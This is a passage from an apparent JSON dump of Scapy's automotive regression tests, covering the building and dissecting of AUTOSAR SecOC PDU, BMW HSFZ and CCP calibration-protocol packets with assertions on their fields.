Raw(b'\\x11\\x44'),\nPDU(pdu_id=0x3, pdu_payload_len=3) / Raw(b'\\x11\\x33\\x91')])))\n# Check if packets are the same\nassert p1 == p2 \n# Check if fields are set correctly within PDU list\nassert p1.pdus[0].pdu_id == 0x1\nassert p1.pdus[0].pdu_payload_len == 1\nassert p1.pdus[1].pdu_id == 0x2\nassert p1.pdus[1].pdu_payload_len == 2\nassert p1.pdus[2].pdu_id == 0x3\nassert p1.pdus[2].pdu_payload_len == 3\n\n= Build PDUTransport with one PDU packet\np1 = PDUTransport(b'\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x11\\x22\\x33')\np2 = PDUTransport(bytes(PDUTransport(pdus=[\nPDU(pdu_id=0x1, pdu_payload_len=0x3) / Raw(b'\\x11\\x22\\x33')])))\n\n# Check if packets are the same\nassert p1 == p2 \n# Check if fields are set correctly within PDU list\nassert p1.pdus[0].pdu_id == 0x1\nassert p1.pdus[0].pdu_payload_len == 3\n"
  },
  {
    "path": "test/contrib/automotive/autosar/secoc.uts",
    "content": "% Regression tests for the SecOC_PDUTransport / SecOC_PDU layer\n\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n\n+ SecOC_PDUTransport contrib tests\n\n= Load Contrib Layer\n\nload_contrib(\"automotive.autosar.secoc_pdu\")\n\n= Prepare SecOC keys\n\nSecOC_PDU.secoc_protected_pdus_by_identifier = {0, 1, 2, 3, 17, 18}\nSecOC_PDU.register_secoc_protected_pdu(0xdeadbeef)\n\nclass PDU_Payload(Packet):\n    fields_desc = [\n        ByteField(\"a\", 0),\n        ByteField(\"b\", 0),\n        ByteField(\"c\", 0)\n    ]\n\n\nclass PDU_Payload2(Packet):\n    fields_desc = [\n        ByteField(\"x\", 0),\n        ByteField(\"y\", 0),\n        ByteField(\"z\", 0)\n    ]\n\n\nSecOC_PDUTransport.register_secoc_protected_pdu(32, PDU_Payload)\nSecOC_PDUTransport.register_secoc_protected_pdu(64, PDU_Payload2)\n\n\n= Defaults test\np = SecOC_PDUTransport()\np.show()\nassert p.pdus == [SecOC_PDU()]\n\np = SecOC_PDU()\nassert p.pdu_id == 0\nassert p.pdu_payload_len == None\n\n\n= Build test pdu_id\np = SecOC_PDU(bytes(SecOC_PDU(pdu_id=0x11)))\nassert len(bytes(p)) == 12\nassert p.pdu_id == 0x11\nassert p.pdu_payload_len == 4\n\n\n= Build test pdu_payload_len\np1 = bytes(SecOC_PDU(pdu_payload_len=12, pdu_payload=bytes.fromhex(\"1122334455667788\")))\nprint(p1.hex())\np = SecOC_PDU(p1)\np.show()\nassert len(p) == 20\nassert p.pdu_id == 0\nassert p.pdu_payload_len == 12\nassert bytes(p.pdu_payload) == bytes.fromhex(\"1122334455667788\")\nassert p.tfv == 0\nassert p.tmac == b\"\\x00\\x00\\x00\"\n\n\n= Build test pdu_payload_len2\np1 = bytes(SecOC_PDU(pdu_id=0xdeadbeef, pdu_payload_len=12, pdu_payload=bytes.fromhex(\"1122334455667788\"), tfv=42))\nprint(p1.hex())\np = SecOC_PDU(p1)\np.show()\nassert len(p) == 20\nassert p.pdu_id == 0xdeadbeef\nassert p.pdu_payload_len == 12\nassert bytes(p.pdu_payload) == bytes.fromhex(\"1122334455667788\")\nassert p.tfv == 42\nassert p.tmac == b\"\\x00\\x00\\x00\"\n\n\n= Build test id and payload len with data\np = SecOC_PDU(bytes(SecOC_PDU(pdu_id=0x12, pdu_payload=b'\\x22\\x33\\x22\\x33')))\nassert len(p) == 16\nassert p.pdu_id == 0x12\nprint(p.pdu_payload)\np.show()\nassert p.pdu_payload_len == 8\nassert len(p.pdu_payload) == 4\nassert bytes(p.pdu_payload) == b'\\x22\\x33\\x22\\x33'\n\n\n= Build SecOC_PDUTransport with multiple SecOC_PDU packets\np1 = SecOC_PDUTransport(\n    b'\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x05\\x11\\x00\\x00\\x00\\x00'\n    b'\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x06\\x11\\x44\\x00\\x00\\x00\\x00'\n    b'\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x07\\x11\\x33\\x91\\x00\\x00\\x00\\x00')\n\n# Check if fields are set correctly within SecOC_PDU list\nassert p1.pdus[0].pdu_id == 0x1\nassert p1.pdus[0].pdu_payload_len == 5\nassert p1.pdus[1].pdu_id == 0x2\nassert p1.pdus[1].pdu_payload_len == 6\nassert p1.pdus[2].pdu_id == 0x3\nassert p1.pdus[2].pdu_payload_len == 7\n\np2 = SecOC_PDUTransport(bytes(SecOC_PDUTransport(\n    pdus=[\n        SecOC_PDU(pdu_id=0x1,pdu_payload_len=5, pdu_payload=Raw(b'\\x11')),\n        SecOC_PDU(pdu_id=0x2, pdu_payload_len=6, pdu_payload=Raw(b'\\x11\\x44')),\n        SecOC_PDU(pdu_id=0x3, pdu_payload_len=7, pdu_payload=Raw(b'\\x11\\x33\\x91'))\n    ])))\n# Check if packets are the same\nassert p1 == p2\n\n\n= Build SecOC_PDUTransport with one SecOC_PDU packet\np1 = SecOC_PDUTransport(b'\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\xaa\\xaa\\xaa\\xaa\\x11\\x22\\x33\\x44')\np2 = SecOC_PDUTransport(bytes(SecOC_PDUTransport(pdus=[SecOC_PDU(pdu_id=0x1, pdu_payload=Raw(b'\\xaa\\xaa\\xaa\\xaa'), tfv=0x11, tmac=b\"\\x22\\x33\\x44\")])))\n\n# Check if packets are the same\nassert p1 == p2\n# Check if fields are set correctly within SecOC_PDU list\nassert p1.pdus[0].pdu_id == 0x1\nassert p1.pdus[0].pdu_payload_len == 8\n\n\n= Build SecOC_PDUTransport with one SecOC_PDU packet and custom class\np1 = SecOC_PDUTransport(b'\\x00\\x00\\x00\\x20\\x00\\x00\\x00\\x07\\xaa\\xbb\\xcc\\x11\\x22\\x33\\x44')\n\n# Check if packets are the same\nassert p1\n# Check if fields are set correctly within SecOC_PDU list\nassert p1.pdus[0].pdu_id == 0x20\nassert p1.pdus[0].pdu_payload_len == 7\nassert p1.pdus[0].tmac == b\"\\x22\\x33\\x44\"\npdu = p1.pdus[0]\npdu.show()\nassert pdu.pdu_payload.a == 0xaa\nassert pdu.pdu_payload.b == 0xbb\nassert pdu.pdu_payload.c == 0xcc\n\n\n= Build SecOC_PDUTransport with multiple SecOC_PDU packets\np1 = SecOC_PDUTransport(bytes.fromhex(\"00000020 00000007 aabbcc 11223344  00000040 00000007 ddeeff 55667788 000000ff 00000008 01234567 11223344 000000ff 00000008 01234567 11223344\"))\np1.show()\n# Check if packets are the same\nassert p1\n# Check if fields are set correctly within SecOC_PDU list\nassert p1.pdus[0].pdu_id == 0x20\nassert p1.pdus[1].pdu_id == 0x40\nassert p1.pdus[2].pdu_id == 0xff\nassert p1.pdus[3].pdu_id == 0xff\nassert p1.pdus[0].pdu_payload_len == 7\nassert p1.pdus[1].pdu_payload_len == 7\nassert p1.pdus[2].pdu_payload_len == 8\nassert p1.pdus[3].pdu_payload_len == 8\nassert p1.pdus[0].tmac == b\"\\x22\\x33\\x44\"\n\ntry:\n    assert p1.pdus[2].tmac == b\"\\x22\\x33\\x44\"\n    assert False\nexcept AttributeError:\n    pass\n\nassert p1.pdus[1].tmac == b\"\\x66\\x77\\x88\"\n\npdu = p1.pdus[0]\npdu.show()\nassert pdu.pdu_payload.a == 0xaa\nassert pdu.pdu_payload.b == 0xbb\nassert pdu.pdu_payload.c == 0xcc\n\npdu = p1.pdus[1]\npdu.show()\nassert pdu.pdu_payload.x == 0xdd\nassert pdu.pdu_payload.y == 0xee\nassert pdu.pdu_payload.z == 0xff\n\npdu = p1.pdus[2]\nassert \"PDU\" in pdu.__class__.__name__\nassert pdu.payload.__class__.__name__ == \"Raw\"\nassert pdu.load == bytes.fromhex(\"0123456711223344\")\n\n\npdu = p1.pdus[3]\nassert \"PDU\" in pdu.__class__.__name__\nassert pdu.payload.__class__.__name__ == \"Raw\"\nassert pdu.load == bytes.fromhex(\"0123456711223344\")\n\n\n\n"
  },
  {
    "path": "test/contrib/automotive/bmw/hsfz.uts",
    "content": "% Regression tests for the HSFZ layer\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n\n+ HSFZ Contrib tests\n\n= Load Contrib Layer\nload_contrib(\"automotive.bmw.hsfz\", globals_dict=globals())\n\n= Basic Test 1\n\npkt = HSFZ(control=1, source=0xf4, target=0x10)/Raw(b'\\x11\\x22\\x33')\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x05\\x00\\x01\\xf4\\x10\\x11\"3'\n\n= Basic Test 2\n\npkt = HSFZ(control=1, source=0xf4, target=0x10)/Raw(b'\\x11\\x22\\x33\\x11\\x11\\x11\\x11\\x11')\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x0a\\x00\\x01\\xf4\\x10\\x11\"3\\x11\\x11\\x11\\x11\\x11'\n\n= Basic Dissect Test\n\npkt = HSFZ(b'\\x00\\x00\\x00\\x0a\\x00\\x01\\xf4\\x10\\x11\"3\\x11\\x11\\x11\\x11\\x11')\nassert pkt.length == 10\nassert pkt.source == 0xf4\nassert pkt.target == 0x10\nassert pkt.control == 1\nassert pkt[1].service == 17\nassert pkt[2].resetType == 34\n\n= Build Test\n\npkt = HSFZ(source=0xf4, target=0x10)/Raw(b\"0\" * 20)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x16\\x00\\x01\\xf4\\x10' + b\"0\" * 20\n\n= Dissect Test\n\npkt = HSFZ(b'\\x00\\x00\\x00\\x18\\x00\\x01\\xf4\\x10\\x67\\x01' + b\"0\" * 20)\nassert pkt.length == 24\nassert pkt.source == 0xf4\nassert pkt.target == 0x10\nassert pkt.control == 1\nassert pkt.securitySeed == b\"0\" * 20\nassert len(pkt[1]) == pkt.length - 2\n\n= Dissect Test with padding\n\npkt = HSFZ(b'\\x00\\x00\\x00\\x18\\x00\\x01\\xf4\\x10\\x67\\x01' + b\"0\" * 20 + b\"p\" * 100)\nassert pkt.length == 24\nassert pkt.source == 0xf4\nassert pkt.target == 0x10\nassert pkt.control == 1\nassert pkt.securitySeed == b\"0\" * 20\nassert pkt.load == b'p' * 100\n\n= Dissect Test to short packet\n\npkt = HSFZ(b'\\x00\\x00\\x00\\x18\\x00\\x01\\xf4\\x10\\x67\\x01' + b\"0\" * 19)\nassert pkt.length == 24\nassert pkt.source == 0xf4\nassert pkt.target == 0x10\nassert pkt.control == 1\nassert pkt.securitySeed == b\"0\" * 19\n\n\n= Dissect Test very long packet\n\npkt = HSFZ(b'\\x00\\x0f\\xff\\x04\\x00\\x01\\xf4\\x10\\x67\\x01' + b\"0\" * 0xfff00)\nassert pkt.length == 0xfff04\nassert pkt.source == 0xf4\nassert pkt.target == 0x10\nassert pkt.control == 1\nassert pkt.securitySeed == b\"0\" * 0xfff00\n\n\n= Dissect diagnostic request\n\npkt = HSFZ(hex_bytes(\"000000050001f41022f150\"))\nassert pkt.length == 5\nassert pkt.control == 0x01\nassert pkt.source == 0xf4\nassert pkt.target == 0x10\n\n\n= Dissect acknowledgment transfer\n\npkt = HSFZ(hex_bytes(\"000000050002f41022f150\"))\nassert pkt.length == 5\nassert pkt.control == 0x02\nassert pkt.source == 0xf4\nassert pkt.target == 0x10\n\n\n= Dissect identification\n\npkt = HSFZ(bytes.fromhex(\"000000320011444941474144523130424d574d4143374346436343463837393343424d5756494e5742413558373333333246483735373334\"))\nassert pkt.length == 50\nassert pkt.control == 0x11\nassert b\"BMW\" in pkt.identification_string\n\npkt = UDP(bytes.fromhex(\"1a9be2d90040d67d000000320011444941474144523130424d574d4143374346436343463837393343424d5756494e5742413558373333333246483735373334\"))\nassert pkt.length == 50\nassert pkt.control == 0x11\nassert b\"BMW\" in pkt.identification_string\n\npkt = UDP(hex_bytes(\"e9811a9b000ea98f000000000011\"))\nassert pkt.length == 0\nassert pkt.control == 0x11\n\n\n= Dissect alive check\npkt = HSFZ(bytes.fromhex(\"000000200012444941474144523130424d5756494e5858585858585858585858585858585858\"))\nassert pkt.length == 32\nassert pkt.control == 0x12\nassert b\"BMW\" in pkt.identification_string\n\npkt = HSFZ(bytes.fromhex(\"00000002001200f4\"))\nassert pkt.length == 2\nassert pkt.control == 0x12\nassert pkt.source == 0x00\nassert pkt.target == 0xf4\n\n\n= Dissect incorrect tester address\npkt = HSFZ(bytes.fromhex(\"000000020040fff4\"))\nassert pkt.length == 2\nassert pkt.control == 0x40\nassert pkt.expected == 0xff\nassert pkt.received == 0xf4\n\n\n= Test HSFZSocket\n\nserver_up = threading.Event()\ndef server():\n    buffer = bytes(HSFZ(control=1, source=0xf4, target=0x10) / Raw(b'\\x11\\x22\\x33' * 1024))\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    try:\n        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        sock.bind(('127.0.0.1', 6801))\n        sock.listen(1)\n        server_up.set()\n        connection, address = sock.accept()\n        connection.send(buffer[:1024])\n        time.sleep(0.1)\n        connection.send(buffer[1024:])\n        connection.close()\n    finally:\n        sock.close()\n\nserver_thread = threading.Thread(target=server)\nserver_thread.start()\nserver_up.wait(timeout=1)\nsock = HSFZSocket()\n\npkts = sock.sniff(timeout=1, count=1)\nassert len(pkts) == 1\nassert len(pkts[0]) > 2048\n"
  },
  {
    "path": "test/contrib/automotive/ccp.uts",
    "content": "% Regression tests for the CCP layer\n\n+ Configuration\n~ conf\n\n= Imports\n\nfrom test.testsocket import TestSocket, cleanup_testsockets\n\n############\n############\n\n+ Basic operations\n\n= Load module\nload_contrib(\"automotive.ccp\", globals_dict=globals())\n\n= Build CRO CONNECT\n\ncro = CCP(identifier=0x700)/CRO(ctr=1)/CONNECT(station_address=0x02)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 1\nassert cro.cmd == 1\nassert cro.station_address == 0x02\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x01\\x01\\x02\\x00\\xff\\xff\\xff\\xff'\n\n= Dissect DTO CONNECT\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x01\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.answers(cro)\nassert dto.identifier == 0x700\nassert dto.length == 8\nassert dto.flags == 0\nassert dto.ctr == 1\nassert dto.load == b\"\\xff\" * 5\n\n= Build CRO EXCHANGE_ID\n\ncro = CCP(identifier=0x700)/CRO(ctr=18)/EXCHANGE_ID(ccp_master_device_id=b'abcdef')\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 18\nassert cro.cmd == 0x17\nassert cro.ccp_master_device_id == b\"abcdef\"\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x17\\x12abcdef'\n\n= Dissect DTO EXCHANGE_ID\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x12\\x04\\x02\\x03\\x03\\xff')\n\nassert dto.ctr == 18\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x04\\x02\\x03\\x03\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 18\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.slave_device_ID_length == 4\nassert dto.data_type_qualifier == 2\nassert dto.resource_availability_mask == 3\nassert dto.resource_protection_mask == 3\nassert dto.ccp_reserved == b\"\\xff\"\n\n= Build CRO GET_SEED\n\ncro = CCP(identifier=0x711)/CRO(ctr=19)/GET_SEED(resource=2)\n\nassert cro.identifier == 0x711\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 19\nassert cro.cmd == 0x12\nassert cro.resource == 2\nassert cro.ccp_reserved == b\"\\xff\" * 5\n\nassert bytes(cro) == b'\\x00\\x00\\x07\\x11\\x08\\x00\\x00\\x00\\x12\\x13\\x02\\xff\\xff\\xff\\xff\\xff'\n\n= Dissect DTO GET_SEED\n\ndto = CCP(b'\\x00\\x00\\x07\\x11\\x08\\x00\\x00\\x00\\xff\\x00\\x13\\x01\\x14\\x15\\x16\\x17')\n\nassert dto.ctr == 19\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x01\\x14\\x15\\x16\\x17'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 19\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.protection_status == 0x1\nassert dto.seed == b'\\x14\\x15\\x16\\x17'\n\n= Build CRO UNLOCK\n\ncro = CCP(identifier=0x711)/CRO(ctr=20)/UNLOCK(key=b\"123456\")\n\nassert cro.identifier == 0x711\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 20\nassert cro.cmd == 0x13\nassert cro.key == b\"123456\"\n\nassert bytes(cro) == b'\\x00\\x00\\x07\\x11\\x08\\x00\\x00\\x00\\x13\\x14123456'\n\n= Dissect DTO UNLOCK\n\ndto = CCP(b'\\x00\\x00\\x07\\x11\\x08\\x00\\x00\\x00\\xff\\x00\\x14\\x02\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 20\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x02\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 20\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.privilege_status == 0x2\nassert dto.ccp_reserved == b\"\\xff\" * 4\n\n= Build CRO SET_MTA\n\ncro = CCP(identifier=0x711)/CRO(ctr=21)/SET_MTA(mta_num=0, address_extension=0x02, address=0x34002000)\n\nassert cro.identifier == 0x711\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 21\nassert cro.cmd == 0x02\nassert cro.mta_num == 0\nassert cro.address_extension == 2\nassert cro.address == 0x34002000\n\nassert bytes(cro) == b'\\x00\\x00\\x07\\x11\\x08\\x00\\x00\\x00\\x02\\x15\\x00\\x02\\x34\\x00\\x20\\x00'\n\n= Dissect DTO SET_MTA\n\ndto = CCP(b'\\x00\\x00\\x07\\x11\\x08\\x00\\x00\\x00\\xff\\x00\\x15\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 21\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 21\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == True\nassert dto.load == b\"\\xff\" * 5\n\n= Build CRO DNLOAD\n\ncro = CCP(identifier=0x700)/CRO(ctr=17)/DNLOAD(size=0x05, data=b'abcde')\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 17\nassert cro.cmd == 3\nassert cro.size == 0x05\nassert cro.data == b'abcde'\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x03\\x11\\x05abcde'\n\n= Dissect DTO DNLOAD\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x11\\x02\\x34\\x00\\x20\\x05')\n\nassert dto.ctr == 17\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x024\\x00 \\x05'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 17\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.MTA0_extension == 2\nassert dto.MTA0_address == 0x34002005\n\n= Build CRO DNLOAD_6\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x40)/DNLOAD_6(data=b'abcdef')\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x40\nassert cro.cmd == 0x23\nassert cro.data == b'abcdef'\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x23\\x40abcdef'\n\n= Dissect DTO DNLOAD_6\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x40\\x02\\x34\\x00\\x20\\x06')\n\nassert dto.ctr == 64\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x024\\x00 \\x06'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 64\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.MTA0_extension == 2\nassert dto.MTA0_address == 0x34002006\n\n= Build CRO UPLOAD\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x41)/UPLOAD(size=4)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x41\nassert cro.cmd == 0x04\nassert cro.size == 4\nassert cro.ccp_reserved == b\"\\xff\" * 5\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x04\\x41\\x04\\xff\\xff\\xff\\xff\\xff'\n\n= Dissect DTO UPLOAD\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x41\\x10\\x11\\x12\\x13\\xff')\n\nassert dto.ctr == 65\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x10\\x11\\x12\\x13\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 65\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.data == b\"\\x10\\x11\\x12\\x13\\xff\"\n\n= Build CRO SHORT_UP\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x42)/SHORT_UP(size=4, address_extension=0, address=0x12345678)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x42\nassert cro.cmd == 0x0f\nassert cro.size == 4\nassert cro.address == 0x12345678\nassert cro.address_extension == 0\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x0f\\x42\\x04\\x00\\x12\\x34\\x56\\x78'\n\n= Dissect DTO SHORT_UP\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x42\\x10\\x11\\x12\\x13\\xff')\n\nassert dto.ctr == 66\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x10\\x11\\x12\\x13\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 66\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.data == b\"\\x10\\x11\\x12\\x13\\xff\"\n\n= Build CRO SELECT_CAL_PAGE\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x43)/SELECT_CAL_PAGE()\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x43\nassert cro.cmd == 0x11\nassert cro.ccp_reserved == b\"\\xff\" * 6\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x11\\x43\\xff\\xff\\xff\\xff\\xff\\xff'\n\n= Dissect DTO SELECT_CAL_PAGE\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x43\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 67\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 67\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == True\nassert dto.load == b\"\\xff\\xff\\xff\\xff\\xff\"\n\n= Build CRO GET_DAQ_SIZE\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x44)/GET_DAQ_SIZE(DAQ_num=0x03, DTO_identifier=0x1020304)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x44\nassert cro.cmd == 0x14\nassert cro.DAQ_num == 0x03\nassert cro.ccp_reserved == 00\nassert cro.DTO_identifier == 0x01020304\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x14\\x44\\x03\\x00\\x01\\x02\\x03\\x04'\n\n= Dissect DTO GET_DAQ_SIZE\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x44\\x10\\x08\\xff\\xff\\xff')\n\nassert dto.ctr == 68\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\x10\\x08\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 68\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == False\nassert dto.DAQ_list_size == 16\nassert dto.first_pid == 8\nassert dto.ccp_reserved == b\"\\xff\\xff\\xff\"\n\n= Build CRO SET_DAQ_PTR\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x45)/SET_DAQ_PTR(DAQ_num=3, ODT_num=5, ODT_element=2)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x45\nassert cro.cmd == 0x15\nassert cro.DAQ_num == 0x03\nassert cro.ODT_num == 5\nassert cro.ODT_element == 2\nassert cro.ccp_reserved == b\"\\xff\\xff\\xff\"\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x15\\x45\\x03\\x05\\x02\\xff\\xff\\xff'\n\n= Dissect DTO SET_DAQ_PTR\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x45\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 69\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 69\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == True\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n\n= Build CRO WRITE_DAQ\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x46)/WRITE_DAQ(DAQ_size=2, address_extension=1, address=0x2004200)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x46\nassert cro.cmd == 0x16\nassert cro.DAQ_size == 0x02\nassert cro.address_extension == 1\nassert cro.address == 0x2004200\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x16\\x46\\x02\\x01\\x02\\x00\\x42\\x00'\n\n= Dissect DTO WRITE_DAQ\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x46\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 70\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 70\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == True\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n\n= Build CRO START_STOP\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x47)/START_STOP(mode=1, DAQ_num=3, ODT_num=7, event_channel=2, transmission_rate=1)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x47\nassert cro.cmd == 0x06\nassert cro.mode == 0x01\nassert cro.DAQ_num == 3\nassert cro.event_channel == 2\nassert cro.transmission_rate == 1\nassert cro.ODT_num == 7\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x06\\x47\\x01\\x03\\x07\\x02\\x00\\x01'\n\n= Dissect DTO START_STOP\n\ndto = CCP(b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\xff\\x00\\x47\\xff\\xff\\xff\\xff\\xff')\n\nassert dto.ctr == 71\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n# answers will interpret payload\nassert dto.answers(cro)\nassert dto.ctr == 71\nassert dto.packet_id == 0xff\nassert dto.return_code == 0\nassert hasattr(dto, \"load\") == True\nassert dto.load == b'\\xff\\xff\\xff\\xff\\xff'\n\n= Build CRO DISCONNECT\n\ncro = CCP(identifier=0x700)/CRO(ctr=0x48)/DISCONNECT(type=\"temporary\", station_address=0x208)\n\nassert cro.identifier == 0x700\nassert cro.length == 8\nassert cro.flags == 0\nassert cro.ctr == 0x48\nassert cro.cmd == 0x07\nassert cro.type == 0x00\nassert cro.station_address == 0x208\nassert cro.ccp_reserved0 == b\"\\xff\"\nassert cro.ccp_reserved == b\"\\xff\" * 2\nassert bytes(cro) == b'\\x00\\x00\\x07\\x00\\x08\\x00\\x00\\x00\\x07\\x48\\x00\\xff\\x08\\x02\\xff\\xff'\n\n= Dissect DTO DISCONNECT\n\ndto = 